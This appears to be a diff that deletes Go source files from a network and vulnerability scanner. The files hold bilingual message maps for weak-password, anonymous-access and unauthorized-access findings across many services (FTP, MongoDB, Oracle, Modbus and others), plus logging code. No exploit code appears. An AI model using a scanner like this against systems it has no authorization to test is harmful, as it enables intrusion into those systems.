LangZH: "队列管理",
LangEN: "Queue Management",
},
"exploit_method_name_activemq_config_dump": {
LangZH: "配置转储",
LangEN: "Configuration Dump",
},
// ========================= FTP插件消息 =========================
"ftp_scan_start": {
LangZH: "开始FTP扫描: %s",
LangEN: "Starting FTP scan: %s",
},
"ftp_anonymous_success": {
LangZH: "FTP匿名访问: %s",
LangEN: "FTP anonymous access: %s",
},
"ftp_weak_pwd_success": {
LangZH: "FTP弱密码: %s [%s:%s]",
LangEN: "FTP weak password: %s [%s:%s]",
},
"ftp_service_identified": {
LangZH: "FTP服务识别成功: %s - %s",
LangEN: "FTP service identified: %s - %s",
},
"ftp_connection_failed": {
LangZH: "FTP连接失败: %v",
LangEN: "FTP connection failed: %v",
},
"ftp_auth_failed": {
LangZH: "FTP认证失败: %v",
LangEN: "FTP authentication failed: %v",
},
// FTP利用方法消息
"ftp_exploit_dir_enum": {
LangZH: "FTP目录枚举成功",
LangEN: "FTP directory enumeration successful",
},
"ftp_exploit_file_download": {
LangZH: "FTP文件下载测试成功",
LangEN: "FTP file download test successful",
},
"ftp_exploit_file_upload": {
LangZH: "FTP文件上传测试成功",
LangEN: "FTP file upload test successful",
},
// ========================= IMAP插件消息 =========================
"imap_weak_pwd_success": {
LangZH: "IMAP弱密码: %s [%s:%s]",
LangEN: "IMAP weak password: %s [%s:%s]",
},
"imap_service_identified": {
LangZH: "IMAP服务识别成功: %s - %s",
LangEN: "IMAP service identified: %s - %s",
},
"imap_connection_failed": {
LangZH: "IMAP连接失败: %v",
LangEN: "IMAP connection failed: %v",
},
"imap_auth_failed": {
LangZH: "IMAP认证失败: %v",
LangEN: "IMAP authentication failed: %v",
},
// ========================= Kafka插件消息 =========================
"kafka_weak_pwd_success": {
LangZH: "Kafka弱密码: %s [%s:%s]",
LangEN: "Kafka weak password: %s [%s:%s]",
},
"kafka_unauth_access": {
LangZH: "Kafka服务 %s 无需认证即可访问",
LangEN: "Kafka service %s allows unauthorized access",
},
"kafka_service_identified": {
LangZH: "Kafka服务识别成功: %s - %s",
LangEN: "Kafka service identified: %s - %s",
},
"kafka_connection_failed": {
LangZH: "Kafka连接失败: %v",
LangEN: "Kafka connection failed: %v",
},
"kafka_auth_failed": {
LangZH: "Kafka认证失败: %v",
LangEN: "Kafka authentication failed: %v",
},
"ftp_directory_found": {
LangZH: "发现FTP目录: %s",
LangEN: "FTP directories found: %s",
},
"ftp_file_found": {
LangZH: "发现FTP文件: %s",
LangEN: "FTP files found: %s",
},
"ftp_upload_success": {
LangZH: "FTP文件上传成功: %s",
LangEN: "FTP file upload successful: %s",
},
"ftp_download_success": {
LangZH: "FTP文件下载成功: %s",
LangEN: "FTP file download successful: %s",
},
// FTP利用方法名称
"exploit_method_name_directory_enumeration": {
LangZH: "目录枚举",
LangEN: "Directory Enumeration",
},
"exploit_method_name_file_download_test": {
LangZH: "文件下载测试",
LangEN: "File Download Test",
},
"exploit_method_name_file_upload_test": {
LangZH: "文件上传测试",
LangEN: "File Upload Test",
},
// ========================= LDAP插件消息 =========================
"ldap_weak_pwd_success": {
LangZH: "LDAP弱密码: %s [%s:%s]",
LangEN: "LDAP weak password: %s [%s:%s]",
},
"ldap_anonymous_access": {
LangZH: "LDAP服务 %s 匿名访问成功",
LangEN: "LDAP service %s anonymous access successful",
},
"ldap_service_identified": {
LangZH: "LDAP服务识别成功: %s - %s",
LangEN: "LDAP service identified: %s - %s",
},
"ldap_connection_failed": {
LangZH: "LDAP连接失败: %v",
LangEN: "LDAP connection failed: %v",
},
"ldap_auth_failed": {
LangZH: "LDAP认证失败: %v",
LangEN: "LDAP authentication failed: %v",
},
// ========================= Memcached插件消息 =========================
"memcached_unauth_access": {
LangZH: "Memcached服务 %s 未授权访问成功",
LangEN: "Memcached service %s unauthorized access successful",
},
"memcached_service_identified": {
LangZH: "Memcached服务识别成功: %s - %s",
LangEN: "Memcached service identified: %s - %s",
},
"memcached_connection_failed": {
LangZH: "Memcached连接失败: %v",
LangEN: "Memcached connection failed: %v",
},
// ========================= Modbus插件消息 =========================
"modbus_unauth_access": {
LangZH: "Modbus服务 %s 无认证访问成功",
LangEN: "Modbus service %s unauthorized access successful",
},
"modbus_device_info": {
LangZH: "设备信息: %s",
LangEN: "Device info: %s",
},
"modbus_service_identified": {
LangZH: "Modbus服务识别成功: %s - %s",
LangEN: "Modbus service identified: %s - %s",
},
"modbus_connection_failed": {
LangZH: "Modbus连接失败: %v",
LangEN: "Modbus connection failed: %v",
},
// ========================= MongoDB插件消息 =========================
"mongodb_unauth_access": {
LangZH: "MongoDB服务 %s 未授权访问成功",
LangEN: "MongoDB service %s unauthorized access successful",
},
"mongodb_service_identified": {
LangZH: "MongoDB服务识别成功: %s - %s",
LangEN: "MongoDB service identified: %s - %s",
},
"mongodb_connection_failed": {
LangZH: "MongoDB连接失败: %v",
LangEN: "MongoDB connection failed: %v",
},
"mongodb_auth_failed": {
LangZH: "MongoDB认证失败: %v",
LangEN: "MongoDB authentication failed: %v",
},
// ========================= MSSQL插件消息 =========================
"mssql_auth_success": {
LangZH: "MSSQL服务 %s 认证成功 %s:%s",
LangEN: "MSSQL service %s authentication successful %s:%s",
},
"mssql_service_identified": {
LangZH: "MSSQL服务识别成功: %s - %s",
LangEN: "MSSQL service identified: %s - %s",
},
"mssql_connection_failed": {
LangZH: "MSSQL连接失败: %v",
LangEN: "MSSQL connection failed: %v",
},
"mssql_auth_failed": {
LangZH: "MSSQL认证失败 %s: %v",
LangEN: "MSSQL authentication failed %s: %v",
},
// ========================= Neo4j插件消息 =========================
"neo4j_unauth_access": {
LangZH: "Neo4j服务 %s 未授权访问成功",
LangEN: "Neo4j service %s unauthorized access successful",
},
"neo4j_default_creds": {
LangZH: "Neo4j服务 %s 默认凭证可用 %s:%s",
LangEN: "Neo4j service %s default credentials available %s:%s",
},
"neo4j_auth_success": {
LangZH: "Neo4j服务 %s 认证成功 %s:%s",
LangEN: "Neo4j service %s authentication successful %s:%s",
},
"neo4j_service_identified": {
LangZH: "Neo4j服务识别成功: %s - %s",
LangEN: "Neo4j service identified: %s - %s",
},
"neo4j_connection_failed": {
LangZH: "Neo4j连接失败: %v",
LangEN: "Neo4j connection failed: %v",
},
"neo4j_auth_failed": {
LangZH: "Neo4j认证失败 %s: %v",
LangEN: "Neo4j authentication failed %s: %v",
},
// ========================= PostgreSQL插件消息 =========================
"postgresql_auth_success": {
LangZH: "PostgreSQL服务 %s 认证成功 %s:%s",
LangEN: "PostgreSQL service %s authentication successful %s:%s",
},
"postgresql_service_identified": {
LangZH: "PostgreSQL服务识别成功: %s - %s",
LangEN: "PostgreSQL service identified: %s - %s",
},
"postgresql_connection_failed": {
LangZH: "PostgreSQL连接失败: %v",
LangEN: "PostgreSQL connection failed: %v",
},
"postgresql_auth_failed": {
LangZH: "PostgreSQL认证失败 %s: %v",
LangEN: "PostgreSQL authentication failed %s: %v",
},
// ========================= Oracle插件消息 =========================
"oracle_auth_success": {
LangZH: "Oracle服务 %s 认证成功 %s:%s",
LangEN: "Oracle service %s authentication successful %s:%s",
},
"oracle_sys_auth_success": {
LangZH: "Oracle服务 %s 高危用户认证成功 %s:%s (可能需要SYSDBA权限)",
LangEN: "Oracle service %s high-risk user authentication successful %s:%s (may require SYSDBA privilege)",
},
"oracle_service_identified": {
LangZH: "Oracle服务识别成功: %s - %s",
LangEN: "Oracle service identified: %s - %s",
},
"oracle_connection_failed": {
LangZH: "Oracle连接失败: %v",
LangEN: "Oracle connection failed: %v",
},
"oracle_auth_failed": {
LangZH: "Oracle认证失败 %s: %v",
LangEN: "Oracle authentication failed %s: %v",
},
// ========================= POP3插件消息 =========================
"pop3_weak_pwd_success": {
LangZH: "POP3弱密码: %s [%s:%s]",
LangEN: "POP3 weak password: %s [%s:%s]",
},
"pop3_service_identified": {
LangZH: "POP3服务识别成功: %s - %s",
LangEN: "POP3 service identified: %s - %s",
},
"pop3_connection_failed": {
LangZH: "POP3连接失败: %v",
LangEN: "POP3 connection failed: %v",
},
"pop3_auth_failed": {
LangZH: "POP3认证失败: %v",
LangEN: "POP3 authentication failed: %v",
},
// ========================= RabbitMQ插件消息 =========================
"rabbitmq_weak_pwd_success": {
LangZH: "RabbitMQ弱密码: %s [%s:%s]",
LangEN: "RabbitMQ weak password: %s [%s:%s]",
},
"rabbitmq_service_identified": {
LangZH: "RabbitMQ服务识别成功: %s - %s",
LangEN: "RabbitMQ service identified: %s - %s",
},
"rabbitmq_connection_failed": {
LangZH: "RabbitMQ连接失败: %v",
LangEN: "RabbitMQ connection failed: %v",
},
"rabbitmq_auth_failed": {
LangZH: "RabbitMQ认证失败: %v",
LangEN: "RabbitMQ authentication failed: %v",
},
// ========================= Rsync插件消息 =========================
"rsync_anonymous_success": {
LangZH: "Rsync匿名访问: %s",
LangEN: "Rsync anonymous access: %s",
},
"rsync_weak_pwd_success": {
LangZH: "Rsync弱密码: %s [%s:%s]",
LangEN: "Rsync weak password: %s [%s:%s]",
},
"rsync_service_identified": {
LangZH: "Rsync服务识别成功: %s - %s",
LangEN: "Rsync service identified: %s - %s",
},
"rsync_connection_failed": {
LangZH: "Rsync连接失败: %v",
LangEN: "Rsync connection failed: %v",
},
"rsync_auth_failed": {
LangZH: "Rsync认证失败: %v",
LangEN: "Rsync authentication failed: %v",
},
// ========================= SMTP插件消息 =========================
"smtp_anonymous_success": {
LangZH: "SMTP匿名访问: %s",
LangEN: "SMTP anonymous access: %s",
},
"smtp_weak_pwd_success": {
LangZH: "SMTP弱密码: %s [%s:%s]",
LangEN: "SMTP weak password: %s [%s:%s]",
},
"smtp_service_identified": {
LangZH: "SMTP服务识别成功: %s - %s",
LangEN: "SMTP service identified: %s - %s",
},
"smtp_connection_failed": {
LangZH: "SMTP连接失败: %v",
LangEN: "SMTP connection failed: %v",
},
"smtp_auth_failed": {
LangZH: "SMTP认证失败: %v",
LangEN: "SMTP authentication failed: %v",
},
// ========================= SNMP插件消息 =========================
"snmp_weak_community_success": {
LangZH: "SNMP弱community: %s [%s]",
LangEN: "SNMP weak community: %s [%s]",
},
"snmp_service_identified": {
LangZH: "SNMP服务识别成功: %s - %s",
LangEN: "SNMP service identified: %s - %s",
},
"snmp_connection_failed": {
LangZH: "SNMP连接失败: %v",
LangEN: "SNMP connection failed: %v",
},
"snmp_auth_failed": {
LangZH: "SNMP认证失败: %v",
LangEN: "SNMP authentication failed: %v",
},
// ========================= Telnet插件消息 =========================
"telnet_weak_password_success": {
LangZH: "Telnet弱密码: %s 用户名:%s 密码:%s",
LangEN: "Telnet weak password: %s username:%s password:%s",
},
"telnet_unauthorized_access": {
LangZH: "Telnet无需认证: %s",
LangEN: "Telnet unauthorized access: %s",
},
"telnet_connection_failed": {
LangZH: "Telnet连接失败: %v",
LangEN: "Telnet connection failed: %v",
},
"telnet_auth_failed": {
LangZH: "Telnet认证失败: %v",
LangEN: "Telnet authentication failed: %v",
},
}

View File

@ -1,287 +0,0 @@
package messages
/*
scan.go - 扫描相关消息
包含扫描流程模式选择插件管理等相关的
国际化消息定义
*/
// ScanMessages 扫描相关消息
var ScanMessages = map[string]map[string]string{
// ========================= 扫描流程消息 =========================
"scan_mode_service_selected": {
LangZH: "已选择服务扫描模式",
LangEN: "Service scan mode selected",
},
"scan_mode_alive_selected": {
LangZH: "已选择存活探测模式",
LangEN: "Alive detection mode selected",
},
"scan_mode_local_selected": {
LangZH: "已选择本地扫描模式",
LangEN: "Local scan mode selected",
},
"scan_mode_web_selected": {
LangZH: "已选择Web扫描模式",
LangEN: "Web scan mode selected",
},
"scan_info_start": {
LangZH: "开始信息扫描",
LangEN: "Starting information scan",
},
"scan_host_start": {
LangZH: "开始主机扫描",
LangEN: "Starting host scan",
},
"scan_vulnerability_start": {
LangZH: "开始漏洞扫描",
LangEN: "Starting vulnerability scan",
},
"scan_service_plugins": {
LangZH: "使用服务扫描插件: %s",
LangEN: "Using service scan plugins: %s",
},
"scan_no_service_plugins": {
LangZH: "未找到可用的服务插件",
LangEN: "No available service plugins found",
},
"scan_vulnerability_plugins": {
LangZH: "使用漏洞扫描插件: %s",
LangEN: "Using vulnerability scan plugins: %s",
},
"scan_no_vulnerability_plugins": {
LangZH: "未找到可用的漏洞扫描插件",
LangEN: "No available vulnerability scan plugins found",
},
"scan_complete_ports_found": {
LangZH: "扫描完成, 发现 %d 个开放端口",
LangEN: "Scan completed, found %d open ports",
},
"scan_alive_ports_count": {
LangZH: "存活端口数量: %d",
LangEN: "Alive ports count: %d",
},
"scan_snmp_udp_ports_added": {
LangZH: "检测到SNMP端口161添加UDP端口到扫描目标",
LangEN: "Detected SNMP port 161, adding UDP ports to scan targets",
},
"scan_task_complete": {
LangZH: "扫描已完成: %d/%d",
LangEN: "Scan completed: %d/%d",
},
// ========================= 扫描错误消息 =========================
"scan_plugin_panic": {
LangZH: "[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
LangEN: "[PANIC] Plugin %s crashed while scanning %s:%s: %v",
},
"scan_plugin_not_found": {
LangZH: "扫描类型 %v 无对应插件,已跳过",
LangEN: "No plugin found for scan type %v, skipped",
},
"scan_plugin_error": {
LangZH: "扫描错误 %v:%v - %v",
LangEN: "Scan error %v:%v - %v",
},
// ========================= 扫描器插件消息 =========================
"scan_local_start": {
LangZH: "开始本地信息收集",
LangEN: "Starting local information collection",
},
"scan_service_start": {
LangZH: "开始服务扫描",
LangEN: "Starting service scan",
},
"scan_web_start": {
LangZH: "开始Web扫描",
LangEN: "Starting web scan",
},
"scan_general_start": {
LangZH: "开始扫描",
LangEN: "Starting scan",
},
"scan_mode_local_prefix": {
LangZH: "本地模式",
LangEN: "Local mode",
},
"scan_mode_service_prefix": {
LangZH: "服务模式",
LangEN: "Service mode",
},
"scan_mode_web_prefix": {
LangZH: "Web模式",
LangEN: "Web mode",
},
"scan_plugins_local": {
LangZH: "使用本地插件: %s",
LangEN: "Using local plugins: %s",
},
"scan_plugins_service": {
LangZH: "使用服务插件: %s",
LangEN: "Using service plugins: %s",
},
"scan_plugins_web": {
LangZH: "使用Web插件: %s",
LangEN: "Using web plugins: %s",
},
"scan_plugins_custom_specified": {
LangZH: "使用指定插件: %s",
LangEN: "Using specified plugins: %s",
},
"scan_no_local_plugins": {
LangZH: "未找到可用的本地插件",
LangEN: "No available local plugins found",
},
"scan_no_web_plugins": {
LangZH: "未找到可用的Web插件",
LangEN: "No available web plugins found",
},
"scan_strategy_local_name": {
LangZH: "本地扫描",
LangEN: "Local Scan",
},
"scan_strategy_local_desc": {
LangZH: "收集本地系统信息",
LangEN: "Collect local system information",
},
"scan_strategy_service_name": {
LangZH: "服务扫描",
LangEN: "Service Scan",
},
"scan_strategy_service_desc": {
LangZH: "扫描主机服务和漏洞",
LangEN: "Scan host services and vulnerabilities",
},
"scan_strategy_web_name": {
LangZH: "Web扫描",
LangEN: "Web Scan",
},
"scan_strategy_web_desc": {
LangZH: "扫描Web应用漏洞和信息",
LangEN: "Scan web application vulnerabilities and information",
},
"scan_alive_hosts_count": {
LangZH: "存活主机数量: %d",
LangEN: "Alive hosts count: %d",
},
"scan_strategy_alive_name": {
LangZH: "存活探测",
LangEN: "Alive Detection",
},
"scan_strategy_alive_desc": {
LangZH: "快速探测主机存活状态",
LangEN: "Fast detection of host alive status",
},
"scan_alive_start": {
LangZH: "开始存活探测",
LangEN: "Starting alive detection",
},
"scan_alive_single_target": {
LangZH: "目标主机: %s",
LangEN: "Target host: %s",
},
"scan_alive_multiple_targets": {
LangZH: "目标主机数量: %d (示例: %s)",
LangEN: "Target hosts count: %d (example: %s)",
},
"scan_alive_summary_title": {
LangZH: "存活探测结果摘要",
LangEN: "Alive Detection Summary",
},
"scan_alive_total_hosts": {
LangZH: "总主机数: %d",
LangEN: "Total hosts: %d",
},
"scan_alive_hosts_found": {
LangZH: "存活主机: %d",
LangEN: "Alive hosts: %d",
},
"scan_alive_dead_hosts": {
LangZH: "死亡主机: %d",
LangEN: "Dead hosts: %d",
},
"scan_alive_success_rate": {
LangZH: "存活率: %.2f%%",
LangEN: "Success rate: %.2f%%",
},
"scan_alive_duration": {
LangZH: "扫描耗时: %v",
LangEN: "Scan duration: %v",
},
"scan_alive_hosts_list": {
LangZH: "存活主机列表:",
LangEN: "Alive hosts list:",
},
"target_alive": {
LangZH: "存活主机: %s (%s)",
LangEN: "Alive host: %s (%s)",
},
// ========================= 进度条消息 =========================
"progress_scanning_description": {
LangZH: "扫描进度",
LangEN: "Scanning Progress",
},
"progress_port_scanning": {
LangZH: "端口扫描",
LangEN: "Port Scanning",
},
"progress_port_scanning_with_threads": {
LangZH: "端口扫描 (线程:%d)",
LangEN: "Port Scanning (Threads:%d)",
},
"progress_scan_completed": {
LangZH: "扫描完成:",
LangEN: "Scan Completed:",
},
"progress_port_scan_completed": {
LangZH: "端口扫描完成:",
LangEN: "Port Scan Completed:",
},
"progress_open_ports": {
LangZH: "开放端口",
LangEN: "Open Ports",
},
// ========================= 并发状态消息 =========================
"concurrency_plugin": {
LangZH: "插件",
LangEN: "Plugins",
},
"concurrency_connection": {
LangZH: "连接",
LangEN: "Conns",
},
"concurrency_plugin_tasks": {
LangZH: "活跃插件任务",
LangEN: "Active Plugin Tasks",
},
"concurrency_connection_details": {
LangZH: "连接详情",
LangEN: "Connection Details",
},
"concurrency_no_active_tasks": {
LangZH: "无活跃任务",
LangEN: "No Active Tasks",
},
// ========================= 扫描配置消息 =========================
"scan_config_thread_num": {
LangZH: "端口扫描线程数: %d",
LangEN: "Port scan threads: %d",
},
"scan_config_timeout": {
LangZH: "连接超时: %ds",
LangEN: "Connection timeout: %ds",
},
"scan_config_module_thread_num": {
LangZH: "插件内线程数: %d",
LangEN: "Plugin threads: %d",
},
"scan_config_global_timeout": {
LangZH: "单个插件全局超时: %ds",
LangEN: "Plugin global timeout: %ds",
},
}

View File

@ -1,75 +0,0 @@
package logging
import (
"fmt"
"time"
)
// StandardFormatter 标准日志格式化器
type StandardFormatter struct {
startTime time.Time
}
// NewStandardFormatter 创建标准格式化器
func NewStandardFormatter() *StandardFormatter {
return &StandardFormatter{
startTime: time.Now(),
}
}
// SetStartTime 设置开始时间
func (f *StandardFormatter) SetStartTime(startTime time.Time) {
f.startTime = startTime
}
// Format 格式化日志条目
func (f *StandardFormatter) Format(entry *LogEntry) string {
elapsed := time.Since(f.startTime)
timeStr := f.formatElapsedTime(elapsed)
prefix := f.getLevelPrefix(entry.Level)
return fmt.Sprintf("[%s] %s %s", timeStr, prefix, entry.Content)
}
// formatElapsedTime 格式化经过的时间
func (f *StandardFormatter) formatElapsedTime(elapsed time.Duration) string {
switch {
case elapsed < MaxMillisecondDisplay:
// 毫秒显示,不需要小数
return fmt.Sprintf("%dms", elapsed.Milliseconds())
case elapsed < MaxSecondDisplay:
// 秒显示,保留一位小数
return fmt.Sprintf("%.1fs", elapsed.Seconds())
case elapsed < MaxMinuteDisplay:
// 分钟和秒显示
minutes := int(elapsed.Minutes())
seconds := int(elapsed.Seconds()) % 60
return fmt.Sprintf("%dm%ds", minutes, seconds)
default:
// 小时、分钟和秒显示
hours := int(elapsed.Hours())
minutes := int(elapsed.Minutes()) % 60
seconds := int(elapsed.Seconds()) % 60
return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
}
}
// getLevelPrefix 获取日志级别前缀
func (f *StandardFormatter) getLevelPrefix(level LogLevel) string {
switch level {
case LevelSuccess:
return PrefixSuccess
case LevelInfo:
return PrefixInfo
case LevelError:
return PrefixError
default:
return PrefixDefault
}
}
// =============================================================================================
// 已删除的死代码(未使用):
// DetailedFormatter 及其 Format() 方法
// JSONFormatter 及其 SetStartTime() 和 Format() 方法
// =============================================================================================

View File

@ -1,315 +0,0 @@
package logging
import (
"fmt"
"io"
"log"
"path/filepath"
"runtime"
"sync"
"time"
"github.com/fatih/color"
)
// Logger 日志管理器
type Logger struct {
mu sync.RWMutex
config *LoggerConfig
formatter LogFormatter
handlers []LogHandler
scanStatus *ScanStatus
progressBar ProgressDisplay
outputMutex *sync.Mutex
initialized bool
}
// NewLogger 创建新的日志管理器
func NewLogger(config *LoggerConfig) *Logger {
if config == nil {
config = DefaultLoggerConfig()
}
logger := &Logger{
config: config,
formatter: NewStandardFormatter(),
handlers: make([]LogHandler, 0),
scanStatus: NewScanStatus(),
outputMutex: &sync.Mutex{},
initialized: true,
}
// 设置格式化器的开始时间
logger.formatter.SetStartTime(config.StartTime)
// 添加默认的控制台处理器
consoleHandler := NewConsoleHandler(config)
logger.AddHandler(consoleHandler)
return logger
}
// =============================================================================================
// 已删除的死代码未使用SetFormatter 方法
// =============================================================================================
// AddHandler 添加日志处理器
func (l *Logger) AddHandler(handler LogHandler) {
l.mu.Lock()
defer l.mu.Unlock()
l.handlers = append(l.handlers, handler)
}
// SetProgressBar 设置进度条显示
func (l *Logger) SetProgressBar(progressBar ProgressDisplay) {
l.mu.Lock()
defer l.mu.Unlock()
l.progressBar = progressBar
}
// SetOutputMutex 设置输出互斥锁
func (l *Logger) SetOutputMutex(mutex *sync.Mutex) {
l.mu.Lock()
defer l.mu.Unlock()
l.outputMutex = mutex
}
// SetCoordinatedOutput 设置协调输出函数(用于进度条协调)
func (l *Logger) SetCoordinatedOutput(fn func(string)) {
l.mu.RLock()
defer l.mu.RUnlock()
for _, handler := range l.handlers {
if consoleHandler, ok := handler.(*ConsoleHandler); ok {
consoleHandler.SetCoordinatedOutput(fn)
}
}
}
// Log 记录日志
func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]interface{}) {
if !l.shouldLog(level) {
return
}
entry := &LogEntry{
Level: level,
Time: time.Now(),
Content: content,
}
// 添加元数据
if len(metadata) > 0 {
entry.Metadata = metadata[0]
}
// 对于错误级别,自动添加调用者信息
if level == LevelError {
if _, file, line, ok := runtime.Caller(2); ok {
entry.Source = fmt.Sprintf("%s:%d", filepath.Base(file), line)
entry.Content = fmt.Sprintf("%s:%d - %s", filepath.Base(file), line, content)
}
}
l.handleLogEntry(entry)
// 更新扫描状态
if level == LevelSuccess {
l.scanStatus.UpdateSuccess()
} else if level == LevelError {
l.scanStatus.UpdateError()
}
}
// shouldLog 检查是否应该记录该级别的日志
func (l *Logger) shouldLog(level LogLevel) bool {
switch l.config.Level {
case LevelAll:
return true
case LevelBaseInfoSuccess:
return level == LevelBase || level == LevelInfo || level == LevelSuccess
case LevelInfoSuccess:
return level == LevelInfo || level == LevelSuccess
case LevelError:
return level == LevelError
case LevelBase:
return level == LevelBase
case LevelInfo:
return level == LevelInfo
case LevelSuccess:
return level == LevelSuccess
case LevelDebug:
return level == LevelDebug
default:
// 向后兼容:如果是字符串 "debug",显示所有
if l.config.Level == "debug" {
return true
}
// 默认显示base、info和success
return level == LevelBase || level == LevelInfo || level == LevelSuccess
}
}
// handleLogEntry 处理日志条目
func (l *Logger) handleLogEntry(entry *LogEntry) {
l.outputMutex.Lock()
defer l.outputMutex.Unlock()
// 清除进度条
l.clearProgress()
// 使用所有处理器处理日志
l.mu.RLock()
for _, handler := range l.handlers {
if handler.IsEnabled() {
handler.Handle(entry)
}
}
l.mu.RUnlock()
// 恢复进度条
l.restoreProgress()
}
// clearProgress 清除进度条
func (l *Logger) clearProgress() {
if l.progressBar != nil {
l.progressBar.Clear() // 忽略错误
time.Sleep(ProgressClearDelay)
}
}
// restoreProgress 恢复进度条
func (l *Logger) restoreProgress() {
if l.progressBar != nil {
l.progressBar.RenderBlank() // 忽略错误
}
}
// 便利方法
func (l *Logger) Debug(content string, metadata ...map[string]interface{}) {
l.Log(LevelDebug, content, metadata...)
}
func (l *Logger) Base(content string, metadata ...map[string]interface{}) {
l.Log(LevelBase, content, metadata...)
}
func (l *Logger) Info(content string, metadata ...map[string]interface{}) {
l.Log(LevelInfo, content, metadata...)
}
func (l *Logger) Success(content string, metadata ...map[string]interface{}) {
l.Log(LevelSuccess, content, metadata...)
}
func (l *Logger) Error(content string, metadata ...map[string]interface{}) {
l.Log(LevelError, content, metadata...)
}
// =============================================================================================
// 已删除的死代码未使用GetScanStatus 获取扫描状态管理器
// =============================================================================================
// Initialize 初始化日志系统(兼容原接口)
func (l *Logger) Initialize() {
// 禁用标准日志输出
log.SetOutput(io.Discard)
}
// ConsoleHandler 控制台日志处理器
type ConsoleHandler struct {
config *LoggerConfig
formatter LogFormatter
enabled bool
coordinatedOutput func(string) // 协调输出函数
mu sync.RWMutex
}
// NewConsoleHandler 创建控制台处理器
func NewConsoleHandler(config *LoggerConfig) *ConsoleHandler {
formatter := NewStandardFormatter()
formatter.SetStartTime(config.StartTime)
return &ConsoleHandler{
config: config,
formatter: formatter,
enabled: true,
}
}
// Handle 处理日志条目
func (h *ConsoleHandler) Handle(entry *LogEntry) {
h.mu.RLock()
defer h.mu.RUnlock()
if !h.enabled {
return
}
// 使用自己的格式化器格式化消息
logMsg := h.formatter.Format(entry)
// 使用协调输出函数,如果设置了的话
if h.coordinatedOutput != nil {
if h.config.EnableColor {
if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
coloredMsg := color.New(attr).Sprint(logMsg)
h.coordinatedOutput(coloredMsg)
} else {
h.coordinatedOutput(logMsg)
}
} else {
h.coordinatedOutput(logMsg)
}
} else {
h.coordinatedOutput(logMsg)
}
} else {
// 回到原来的直接输出方式
if h.config.EnableColor {
if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
color.New(attr).Println(logMsg)
} else {
fmt.Println(logMsg)
}
} else {
fmt.Println(logMsg)
}
} else {
fmt.Println(logMsg)
}
}
// 根据慢速输出设置决定是否添加延迟
if h.config.SlowOutput {
time.Sleep(SlowOutputDelay)
}
}
// SetEnabled 设置处理器启用状态
func (h *ConsoleHandler) SetEnabled(enabled bool) {
h.mu.Lock()
defer h.mu.Unlock()
h.enabled = enabled
}
// SetCoordinatedOutput 设置协调输出函数
func (h *ConsoleHandler) SetCoordinatedOutput(fn func(string)) {
h.mu.Lock()
defer h.mu.Unlock()
h.coordinatedOutput = fn
}
// IsEnabled 检查处理器是否启用
func (h *ConsoleHandler) IsEnabled() bool {
h.mu.RLock()
defer h.mu.RUnlock()
return h.enabled
}
// =============================================================================================
// 已删除的死代码未使用CheckErrs 错误检查函数
// =============================================================================================

View File

@ -1,103 +0,0 @@
package logging
import (
"sync"
"time"
)
// LogEntry 定义单条日志的结构
type LogEntry struct {
Level LogLevel `json:"level"` // 日志级别
Time time.Time `json:"time"` // 日志时间
Content string `json:"content"` // 日志内容
Source string `json:"source"` // 日志来源
Metadata map[string]interface{} `json:"metadata"` // 附加元数据
}
// LogFormatter 日志格式化器接口
type LogFormatter interface {
Format(entry *LogEntry) string
SetStartTime(startTime time.Time)
}
// LogHandler 日志处理器接口
type LogHandler interface {
Handle(entry *LogEntry)
SetEnabled(enabled bool)
IsEnabled() bool
}
// LoggerConfig 日志器配置
type LoggerConfig struct {
Level LogLevel `json:"level"` // 日志级别
EnableColor bool `json:"enable_color"` // 是否启用彩色输出
SlowOutput bool `json:"slow_output"` // 是否启用慢速输出
ShowProgress bool `json:"show_progress"` // 是否显示进度条
StartTime time.Time `json:"start_time"` // 开始时间
LevelColors map[LogLevel]interface{} `json:"-"` // 级别颜色映射
}
// DefaultLoggerConfig 默认日志器配置
func DefaultLoggerConfig() *LoggerConfig {
return &LoggerConfig{
Level: DefaultLevel,
EnableColor: DefaultEnableColor,
SlowOutput: DefaultSlowOutput,
ShowProgress: DefaultShowProgress,
StartTime: time.Now(),
LevelColors: convertColorMap(GetDefaultLevelColors()),
}
}
// convertColorMap 将color.Attribute映射转换为interface{}映射
func convertColorMap(colorMap map[LogLevel]interface{}) map[LogLevel]interface{} {
result := make(map[LogLevel]interface{})
for k, v := range colorMap {
result[k] = v
}
return result
}
// ScanStatus 扫描状态管理器
type ScanStatus struct {
mu sync.RWMutex // 读写互斥锁
total int64 // 总任务数
completed int64 // 已完成任务数
lastSuccess time.Time // 最近一次成功的时间
lastError time.Time // 最近一次错误的时间
}
// NewScanStatus 创建新的扫描状态管理器
func NewScanStatus() *ScanStatus {
now := time.Now()
return &ScanStatus{
lastSuccess: now,
lastError: now,
}
}
// UpdateSuccess 更新最后成功时间
func (s *ScanStatus) UpdateSuccess() {
s.mu.Lock()
defer s.mu.Unlock()
s.lastSuccess = time.Now()
}
// UpdateError 更新最后错误时间
func (s *ScanStatus) UpdateError() {
s.mu.Lock()
defer s.mu.Unlock()
s.lastError = time.Now()
}
// =============================================================================================
// 已删除的死代码(未使用):
// GetLastSuccess, GetLastError, SetTotal, SetCompleted, GetProgress 方法
// =============================================================================================
// ProgressDisplay 进度条显示接口
type ProgressDisplay interface {
Clear() error
RenderBlank() error
}

View File

@ -1,86 +0,0 @@
package logging
/*
constants.go - 日志系统常量定义
统一管理common/logging包中的所有常量便于查看和编辑
*/
import (
"time"
"github.com/fatih/color"
)
// =============================================================================
// 日志级别常量 (从Types.go迁移)
// =============================================================================
// LogLevel 日志级别类型
type LogLevel string
// 定义系统支持的日志级别常量
const (
LevelAll LogLevel = "ALL" // 显示所有级别日志
LevelError LogLevel = "ERROR" // 仅显示错误日志
LevelBase LogLevel = "BASE" // 仅显示基础信息日志
LevelInfo LogLevel = "INFO" // 仅显示信息日志
LevelSuccess LogLevel = "SUCCESS" // 仅显示成功日志
LevelDebug LogLevel = "DEBUG" // 仅显示调试日志
LevelInfoSuccess LogLevel = "INFO_SUCCESS" // 仅显示信息和成功日志
LevelBaseInfoSuccess LogLevel = "BASE_INFO_SUCCESS" // 显示基础、信息和成功日志
)
// =============================================================================
// 时间显示常量 (从Formatter.go迁移)
// =============================================================================
const (
// 时间显示阈值
